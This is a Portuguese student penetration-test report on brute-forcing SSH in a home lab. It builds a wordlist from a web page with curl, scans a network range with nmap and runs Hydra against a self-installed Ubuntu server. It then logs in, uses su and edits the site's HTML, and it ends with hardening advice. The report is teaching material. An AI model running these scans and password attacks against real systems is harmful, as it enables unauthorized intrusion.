Relatório de Teste de Invasão: Ataque de Brute Force

Objetivo:

Este relatório documenta um teste ético de penetração, utilizando a técnica de brute force para avaliar a resiliência de sistemas de autenticação e criptografia. A metodologia envolveu a exploração de um ambiente simulado no Windows Subsystem for Linux (WSL), em conjunto com ferramentas como Nmap e Hydra, para identificar vulnerabilidades no uso de senhas fracas e serviços de rede como SSH e HTTP. Foram geradas listas de palavras a partir de URLs específicas para o ataque (WEB Crawlers). Para o realizamento do ataque Brute Force no cenário fornecido abaixo, o atacante já deverá possuir o nome_de_usuário do servidor, mas é possível descobrir o usuário via Hydra.

Os testes simulam tentativas reais de invasão, visando identificar falhas de segurança em sistemas sem proteções fortes. O relatório detalha as etapas do ataque, os resultados obtidos e as recomendações para fortalecer a segurança contra esse tipo de ameaça

Autor: *Enzo Arrue Juan Fuso*
Faculdade: *Fatec São Caetano do Sul*
Curso: *Segurança da Informação*

Introdução

O ataque de brute force é uma das técnicas mais antigas e conhecidas no campo da segurança da informação. Seu princípio básico envolve a tentativa sistemática de descobrir credenciais, como usuários e senhas, testando todas as combinações possíveis até encontrar a correta. Embora seja uma abordagem rudimentar, ela ainda representa uma ameaça significativa, especialmente quando são usadas senhas fracas ou algoritmos de criptografia inadequados.

Por meio dessa abordagem, foi possível avaliar a resiliência do sistema alvo e identificar o quão importante é adotar medidas de criptografia e o uso de senhas fortes para mitigar vulnerabilidades no sistema.

Softwares/Ferramentas utilizados:

Prompt de Comando, WSL, Nmap (Varredura da Rede e Dispositivos), Hydra (Brute Force), VirtualBox (Servidor - Ubuntu)

Metodologia

No WSL:

1-) Criar a wordlist da URL desejada:

1. copiar e colar o código no WSL Fedora com a Url desejada

```
curl "URL" |
sed 's/[^a-zA-Z ]/ /g' |
tr 'A-Z ' 'a-z\n' |
grep '[a-z]' |
sort -u > /tmp/wordlist.txt
```

Wordlist que possivelmente será usada:

```
curl "https://www.fatecsaocaetano.edu.br/home.php?pageid=2" |
sed 's/[^a-zA-Z ]/ /g' |
tr 'A-Z ' 'a-z\n' |
grep '[a-z]' |
sort -u > /tmp/wordlist.txt
```

2-) Aguarde e deixe esse terminal do jeito que está e siga para as próximas etapas.

Caso não tenha o servidor pronto:

No Ubuntu (Modo Bridge//Wi-Fi,4G):
1-) ip addr (ver IP, vai ser usado para pingar)
2-) sudo apt upgrade // sudo apt update
3-) sudo apt install apache2 (vai atuar como HTTP, normalmente porta 80)
4-) sudo systemctl status apache2
5-) sudo systemctl enable apache2
7-) sudo systemctl start http
8-) sudo ufw allow 80/tcp
9-) sudo apt install openssh-server
10-) sudo systemctl status ssh
11-) sudo systemctl enable ssh
12-) sudo systemctl start ssh
13-) sudo ufw allow 22/tcp

No Prompt de Comando Windows:

1-) ipconfig (vai puxar todas as interfaces de rede)
2-) Procurar por "*Adaptador de rede sem fio Wi-Fi*" (rede conectada do PC)
3-) Analisar o IPv4 e Máscara sub-rede (Abaixo um **exemplo**)

1. IP -> 192.168.1.1
2. Máscara sub-rede -> 255.255.255.128 (representação binária; decimal para binário 11111111.11111111.11111111.10000000)
3. Conta quantos "1" tem e vai ser o número " /X" que fica após o IP
4. Intervalo de rede: 192.168.1.0/25 (fica .0 invés de .1, pois queremos TODOS dispositivos no intervalo da rede e o 0 representa isso)

No WSL Fedora (Usa como padrão o NAT, não interfere):

Apenas para verificar o cenário:
1-) Pingar o ip do servidor (caso saiba) no WSL para verificar a comunicação

Etapas para o Brute Force, WSL (códigos servem mesmo se não conhecer o IP do servidor, portas e/ou quantidade de servidor):

1-) sudo dnf upgrade
2-) sudo dnf install nmap -y (caso não tenha instalado)
3-) sudo dnf install hydra -y (caso não tenha instalado)

NMAP (Dois jeitos de fazer o nmap):

Verifica todas as portas:
1-) sudo nmap -sS -sV -O -T5 {IP_Intervalo_De_Rede/X}

Especifica as portas no intervalo IP (Mais rápido, mas pode ser que não esteja nas portas 22 e 80):
2-) sudo nmap -sS -sV -O -p 22,80 -T5 {IP_Intervalo_De_Rede/X}

1. Analisar os IP`s achados
2. Identificar o alvo
   2.1. Ver se possui serviços “SSH” e “HTTP”, ver se os serviços/softwares possuem algo como “openssh” e “apache2”, portas 22 e 80 normalmente, tcp wrapped
3. Determinar o alvo (Servidor) e anotar o IP

Hydra:

1-) hydra -l {nome_do_servidor_usuário} -P /tmp/wordlist.txt -V -f -t 8 {IP_do_Servidor} ssh
1.1. Assim que achado o Login e Senha terá que executar para entrar no modo “*usuário comum”* do servidor atacado
2-) ssh {nome_do_usuario}@{IP_do_Servidor} e após isso vai pedir a senha
3-) Agora só acessar o servidor no modo usuário comum e executar “su {nome_do_superusuario} e digitar a senha pedida para poder editar o HTML (Outro arquivo pdf diz como editar).

Recomendações:

Senhas Fortes: *Utilizar senhas longas e complexas, com combinações de caracteres especiais, números e letras maiúsculas/minúsculas, além de usar um gerenciador de senhas para evitar senhas repetidas ou fracas.*

Substituir HTTP por HTTPS: *Utilizar HTTPS para criptografar a comunicação, garantindo que dados sensíveis, como senhas, sejam transmitidos de maneira segura e protegida contra interceptações.*

Fortalecimento do SSH: *Desativar login de root, preferir autenticação por chave pública e restringir acessos ao SSH por meio de firewalls e regras de acesso, aumentando a segurança do serviço.*

Links Complementares:

NMAP - https://nmap.org/
Hydra - https://github.com/vanhauser-thc/thc-hydra
OpenSSH - https://www.openssh.com/
OWASP (Open Web Application Security Project) - https://owasp.org/

NIST (National Institute of Standards and Technology) Guidelines for Password Security - https://www.nist.gov/